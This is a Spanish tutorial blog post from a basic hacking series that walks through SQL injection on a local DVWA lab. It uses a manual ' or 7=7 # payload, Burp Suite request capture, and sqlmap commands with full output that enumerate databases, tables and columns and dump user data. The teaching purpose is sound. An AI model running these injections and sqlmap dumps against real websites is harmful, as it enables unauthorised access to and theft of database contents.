Jugando con los SQL Injection.

Lo primero, por si encontráis este post sin haber seguido todo el tutorial de Hacking Básico, es que las pruebas que vamos a hacer de SQL Injection tenemos que hacerlas en el servidor que hemos montado en nuestro Ciberlaboratorio. Así que pasaros primero por estos dos post, ya si acaso después os mirais el resto del tutorial:

Hay muchos motivos, sobretodo éticos. Nó vamos a atacar servidores WEB que no son nuestros, pero por si la ética no es suficiente, os aseguro que es ilegal. Tambíen os aseguro que si estáis mirando este tutorial para saber lo que es un SQL Injection, no tenéis los conocimientos necesarios como para ocultar vuestros ataques.

Bueno, despues de este minisermon, vamos a empezar.

¿Pero qué es un SQL Injection?

Nada mas y nada menos que aprovechar los campos que nos ofrecen de introducción de valores, que encontramos en los diferentes formularios,  para poner órdenes SQL a ver si tenemos suerte. Para más información tenemos este post:

Concretemos: ¿Que vamos a hacer?

Tenemos un servidor montado, llamado DVWA, que nos sirve una pagina WEB, bueno, nos sirve varias que ya están configuradas. Vamos a usar una de esas páginas, una en la que pasa un parametro al servidor, lo analiza y nos devuelve una respuesta. Primero introduciremos las órdenes SQL directamente en el campo que dan valor a este parametro, y así veremos como podemos variar la respuesta mediante un pequeño truco de SQL Injection. Pero la parte más interesante vendrá cuando utilicemos una herramienta que automatiza la búsqueda de vulnerabilidades en los parámetros pasados:sqlmap! Increíblemente potente.

SQL Injection a pelo.

Empecemos arrancando los servicios necesarios para que nuestro servidor funcione:

service mysql start
service apache2 start

Recordad que estos servicios en parte funcionan correctamente porque hemos instalado unas cuantas cosas en el post: Preparando nuestro ciberlaboratorio para jugar con los SQL Injection
Una vez los tenemos arrancados, visitamos la página: http://localhost/DVWA-master/login.php

Pantalla de login de DVWA
Recordad que el usuario y el password son increiblemente seguros!

Como ya sabéis el usuario es: admin y el password: password. Los introducimos y entramos en DVWA.

Pantalla donde se define la seguridad con la que trabajará DVWA
Establecemos la seguridad con la que queremos que trabaje DVWA

Lo primero que tenemos que hacer es establecer el nivel de seguridad con el que queremos que trabaje DVWA, para no liarnos vamos a establecer un nivel bajo: LOW. En otros post ya explicare como hacerlo con los otros niveles. El nivel HIGH, nos ofrece un servidor con unas medidas de seguridad parecidas a las que podemos encontrar en los servidores bien configurados del mundo real.

El apartado SQL Injection BLIND de DVWA
Apartado SQL INJECTION (Blind)

Atención, si cuando veis esta pantalla no os aparece el cuadro de diálogo en el que podéis introducir el ID, posiblemente teneis configurado un nivel de seguridad superior a LOW en el apartado de seguridad.
Es aquí! Es en este pequeño cuadro de texto donde vamos a realizar las pruebas de un pequeño SQL Injection.
Lo primero es explicar un poco el funcionamiento: DVWA está esperando que pongamos un ID de usuario, el nos indicará si existe o no en la base de datos. Por defecto, tenemos dados de alta los ID’s: 1, 2, 3, 4 y 5 en la base de datos. Cualquier otro número nos devolverá que el ID no existe.

Nuestra misión consiste en engañar a DVWA y hacer que nos de como válido cualquier valor que le indiquemos. Estoy seguro que todos los que han leído el post: Una introducción a uno de los clásicos de la ciberseguridad: los SQL Injection, ya sabéis como va a ir la cosa 😉


Aquí tenemos los dos ejemplos de lo que conseguimos al introducir diferentes ID’s, uno de ellos está en la base de datos y el otro, pues no. Lo que vamos a hacer es introducir un valor de tal forma que no importe el ID que pongamos y siempre nos devuelva el que nuestro ID existe.

Ejemplo de SQL Injection con DVWA
Ajajaja! Pues va y hemos engañado a DVWA

Ya está, así de sencillo, ya hemos engañado a DVWA, pero ¿Que ha pasado? Vamos a verlo:
Si le pasamos un ‘1’ DVWA construirá una orden WHERE parecida a:

... WHERE User_ID = '1';

Pero en el caso de que le pasemos el texto de nuestro SQL Injection: ‘or 7=7 # la orden construida vendría a ser algo parecido a:

… WHERE User_ID =” OR 7=7 #;

Es decir,como le hemos puesto un OR y la segunda condición se cumple seguro (7 va a ser igual a 7 foreveranever) siempre nos va a devolver un TRUE. Es decir, vamos a pasar la validación.

¿Ya está? ¿Esto es un SQL Injection? ¿Para esto tanta historia? Pues sí! Pero este es el SQL Injection más simple de la historia, podemos empezar a probar con diversos comandos SQL. Por ejemplo, borrar los datos de la tabla, o las bases de datos… bueno qué podemos hacer bastante daño.

Pero claro, tendriamos que tener un poco de conocimiento de cómo está estructurada la base de datos y los nombres de las tablas… o, bueno, o no. También podemos usar una herramienta que busca agujeros en los servidores WEB aprovechando los SQL Injection: sqlmap. Vamos a por ello.

Nos ponemos serios con el sqlmap

sqlmap, es una herramienta, a la que le pasamos una URL, preferiblemente con parámetros y ella intenta buscar los puntos flojos del servidor mediante modificar los parámetros pasados a la URL y estudiando la respuesta del servidor.

Para ejecutar sqlmap correctamente vamos a necesitar algunos datos, como la url a la que se realiza la llamada y el valor de las cookies pasadas. Necesitamos estos datos porque lo que hace sqlmap es simular la misma llamada hacia el servidor que la que hace el navegador WEB. Estos datos no son muy complicados de obtener, solo tenemos que espiar nuestro propio navegador. En esta ocasión vamos a usar una herramienta que ya viene instalado en nuestro mas que magnífico Kali Linux: BURPSuite.

Esta herramienta actúa como proxy, se queda con las llamadas que hace el navegador y cuando nosotros se lo digamos, se las pasa al servidor. Durante este lapso de tiempo podemos copiar los datos que necesitamos, o simplemente modificarlos.

Para que funcione correctamente tenemos que modificar la configuración de nuestro navegador, para indicarle que no funcione con el proxy del sistema, sino el que hemos configurado en BURPSuite, es decir: 127.0.9.1:8080. En mi caso yo uso Firefox y está en el menú: Preferencias->Advanced->Network->Settings

Configuración que dejamos en el proxy de nuestro navegador
Configurando el proxy de nuestro navegador.

Con la página de SQL Injection (Blind) de DVWA cargada, arrancamos desde una línea de comandos la herramienta BURPSuite.

burpsuite
burpsuite nos pregunta si queremos crear un proyecto.
Una de las cosas, o la primera, que nos pregunta burpsuite.

BURPsuite es una herramienta con bastantes opciones, nosotros vamos a usar tan solo una porción muy pequeña. Al entrar nos permite escoger si queremos crear un proyecto nuevo o abrir uno ya existente… para lo que vamos a hacer lo mejor será escoger proyecto temporal.

Con BURPSuite arrancado, nos vamos a la pestaña Proxy->Intercept y nos fijamos que tengamos la opción: Intercept is on seleccionada.

Ahora volvemos a la página de DVWA, donde previamente hemos realizado un Submit con el ID 1, y la recargamos.

Veremos como la página se queda cargando, como si no tuviera respuesta, y realmente no la obtiene. Si volvemos a BURPSuite, veremos la información de la llamada. La copiamos, la guardamos en un fichero de texto y le damos al botón “forward”. Tan pronto pulsemos el botón nuestro browser recibe la respuesta de DVWA.

Datos de la llamada a DVWA en BURPSuite
Los datos que necesitamos de la llamada.

Con estos datos ya tenemos todo lo necesario para usar sqlmap. Pero primero volvemos a configurar nuestro navegador para que use el proxy del sistema, que si no nos quedaremos sin poder navegar.

Vamos a construir la llamada con los datos que vemos:

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=high; PHPSESSID=skfqjcbbieta3fdl6gpgcro206"

La ip es la de la maquina donde esta corriendo el servidor de aplicaciones, en nuestro caso es nuestra propia máquina. Después la URL tal como aparece en los datos del GET capturados por BURPSuite y las cookies, que podemos obtener su valor tambíen en los mismos datos capturados.

La salida que nos devuelve tendría que parecerse a:

___
__H__
___ ___[(]_____ ___ ___  {1.1.2.12#dev}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:36:29
[12:36:29] [INFO] resuming back-end DBMS 'mysql' 
[12:36:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7751=7751 AND 'Vfzl'='Vfzl&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'BsXK'='BsXK&Submit=Submit
---
[12:36:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[12:36:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.106'
[*] shutting down at 12:36:29

Como podéis ver lo primero que obtenemos es un mensaje en el que nos avisa de la ilegalidad de ir buscando agujeros. No tienes que hacerlo, a no ser que te paguen por ello, y que el que te pague sea el legítimo dueño de la WEB estudiada y quiera que busques agujeros con la finalidad de taparlos. Ya después nos pasa un pequeño informe, donde nos indica que ha encontrado vulnerabilidades.

Si al ejecutar el comando nos indica que no encuentra la URL mirad que el ID que les estéis pasando sea uno de los que existen en la BD.

La verdad es que tampoco es que nos este dando demasiada información, pero es que no hemos visto casi nada de sqlmap… vamos a jugar un poco con sus opciones y veremos todo lo que podemos obtener:

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=skfqjcbbieta3fdl6gpgcro206" --dbs
___
__H__
___ ___[(]_____ ___ ___  {1.1.2.12#dev}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:10:03
[13:10:04] [INFO] resuming back-end DBMS 'mysql' 
[13:10:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7751=7751 AND 'Vfzl'='Vfzl&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'BsXK'='BsXK&Submit=Submit
---
[13:10:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[13:10:04] [INFO] fetching database names
[13:10:04] [INFO] fetching number of databases
[13:10:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:10:04] [INFO] retrieved: 4
[13:10:04] [INFO] retrieved: dvwa
[13:10:05] [INFO] retrieved: information_schema
[13:10:07] [INFO] retrieved: mysql
[13:10:07] [INFO] retrieved: performance_schema
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[13:10:09] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 156 times
[13:10:09] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.106'
[*] shutting down at 13:10:09

Lo único que hemos hecho ha sido incorporar el parametro –dbs al final de la orden de sqlmap, y ya vemos que nos ha devuelto algunas cosas más. Ahora vemos las bases de datos que contiene el servidor!!!!! Ohhhh my Good! Venga, continuemos.

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=skfqjcbbieta3fdl6gpgcro206" -D dvwa --tables
___
__H__
___ ___[']_____ ___ ___  {1.1.2.12#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:14:05
[13:14:05] [INFO] resuming back-end DBMS 'mysql' 
[13:14:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7751=7751 AND 'Vfzl'='Vfzl&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'BsXK'='BsXK&Submit=Submit
---
[13:14:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[13:14:05] [INFO] fetching tables for database: 'dvwa'
[13:14:05] [INFO] fetching number of tables for database 'dvwa'
[13:14:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:14:05] [INFO] retrieved: 2
[13:14:05] [INFO] retrieved: guestbook
[13:14:06] [INFO] retrieved: users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
[13:14:06] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 54 times
[13:14:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.106'
[*] shutting down at 13:14:06

Con el añadido -D dvwa –tables, nos devuelve el nombre de las tablas contenidas en la base de datos indicada, en este caso la base de datos dvwa, que hemos averiguado como se llama con el comando anterior 🙂 Empezamos a pillarlo, ¿verdad? Pues vamos a por mas.

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=skfqjcbbieta3fdl6gpgcro206" -T users --column
___
__H__
___ ___[)]_____ ___ ___  {1.1.2.12#dev}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:51:06
[15:51:06] [INFO] resuming back-end DBMS 'mysql' 
[15:51:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7751=7751 AND 'Vfzl'='Vfzl&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'BsXK'='BsXK&Submit=Submit
---
[15:51:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[15:51:06] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[15:51:06] [INFO] fetching current database
[15:51:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:51:06] [INFO] retrieved: dvwa
[15:51:07] [INFO] fetching columns for table 'users' in database 'dvwa'
[15:51:07] [INFO] retrieved: 8
[15:51:07] [INFO] retrieved: user_id
[15:51:08] [INFO] retrieved: int(6)
[15:51:09] [INFO] retrieved: first_name
[15:51:10] [INFO] retrieved: varchar(15)
[15:51:11] [INFO] retrieved: last_name
[15:51:13] [INFO] retrieved: varchar(15)
[15:51:14] [INFO] retrieved: user
[15:51:15] [INFO] retrieved: varchar(15)
[15:51:16] [INFO] retrieved: password
[15:51:17] [INFO] retrieved: varchar(32)
[15:51:18] [INFO] retrieved: avatar
[15:51:19] [INFO] retrieved: varchar(70)
[15:51:20] [INFO] retrieved: last_login
[15:51:22] [INFO] retrieved: timestamp
[15:51:23] [INFO] retrieved: failed_login
[15:51:24] [INFO] retrieved: int(3)
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+
[15:51:25] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 528 times
[15:51:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.106'
[*] shutting down at 15:51:25

Ok! Esto ya es la repanocha, ahora ya empezamos a entender la potencia de sqlmap. Hemos incorporado T users –column, y nos ha devuelto el formato de la tabla Users… Pero esto no es todo, venga, una mas!

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=skfqjcbbieta3fdl6gpgcro206" -C first_name --dump
___
__H__
___ ___[,]_____ ___ ___  {1.1.2.12#dev}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:58:17
[15:58:17] [INFO] resuming back-end DBMS 'mysql' 
[15:58:17] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7751=7751 AND 'Vfzl'='Vfzl&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'BsXK'='BsXK&Submit=Submit
---
[15:58:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[15:58:17] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:58:17] [INFO] fetching current database
[15:58:17] [INFO] resumed: dvwa
[15:58:17] [INFO] fetching tables for database: 'dvwa'
[15:58:17] [INFO] fetching number of tables for database 'dvwa'
[15:58:17] [INFO] resumed: 2
[15:58:17] [INFO] resumed: guestbook
[15:58:17] [INFO] resumed: users
[15:58:17] [INFO] fetching entries of column(s) 'first_name' for table 'users' in database 'dvwa'
[15:58:17] [INFO] fetching number of column(s) 'first_name' entries for table 'users' in database 'dvwa'
[15:58:17] [INFO] resumed: 5
[15:58:17] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:58:17] [INFO] retrieved: admin
[15:58:18] [INFO] retrieved: Bob
[15:58:18] [INFO] retrieved: Gordon
[15:58:19] [INFO] retrieved: Hack
[15:58:19] [INFO] retrieved: Pablo
[15:58:20] [INFO] analyzing table dump for possible password hashes
Database: dvwa
Table: users
[5 entries]
+------------+
| first_name |
+------------+
| admin      |
| Bob        |
| Gordon     |
| Hack       |
| Pablo      |
+------------+
[15:58:20] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.1.106/dump/dvwa/users.csv'
[15:58:20] [INFO] fetching entries of column(s) 'first_name' for table 'guestbook' in database 'dvwa'
[15:58:20] [INFO] fetching number of column(s) 'first_name' entries for table 'guestbook' in database 'dvwa'
[15:58:20] [INFO] resumed: 1
[15:58:20] [INFO] retrieved: admin
[15:58:21] [INFO] analyzing table dump for possible password hashes
Database: dvwa
Table: guestbook
[1 entry]
+------------+
| first_name |
+------------+
| admin      |
+------------+
[15:58:21] [INFO] table 'dvwa.guestbook' dumped to CSV file '/root/.sqlmap/output/192.168.1.106/dump/dvwa/guestbook.csv'
[15:58:21] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 110 times
[15:58:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.106'
[*] shutting down at 15:58:21

¿Está claro? Le hemos pedido que nos dé el valor del campo first_name… y NOS LO DA!!!! De todas las tablas donde lo encuentra… Vale, ahora ya empezamos a entender la potencia de sqlmap, tenemos que empezar a tener miedo. Cualquier diseño que hagamos que tenga una base de datos detrás TIENE QUE PROBARSE CON sqlmap! Si eres arquitecto, desarrollador, administrador de sistemas, da lo mismo, no importa que nadie sepa de quién es la responsabilidad: Si haces un proyecto WEB tienes que pasar sqlmap, ya esta, punto.

Después está la otra visión: no lo hagas nunca en una WEB que no sea tuya, o de la que no tengas permiso explícito para hacerlo.

Comandos sqlmap usados

  • –dbs: Nos devuelve el nombre de las base de datos que contiene el servidor sql.>li>
  • -D [nombre_base_datos] –tables: Nos devuelve las tablas que forman parte de la base de datos indicada.
  • -T [nombre_de_tabla] –column: Obtenemos el nombre de las columnas que contiene la tabla indicada.
  • -C [nombre_del_campo_n1], [nombre_del_campo_n2]… –dump: Los valores del campo indicado! Podemos indicarle varios nombres de campo, separándolos por comas.

Recordad que este post forma parte del tutorial de Hacking / Pen Testing Básico

Comentarios.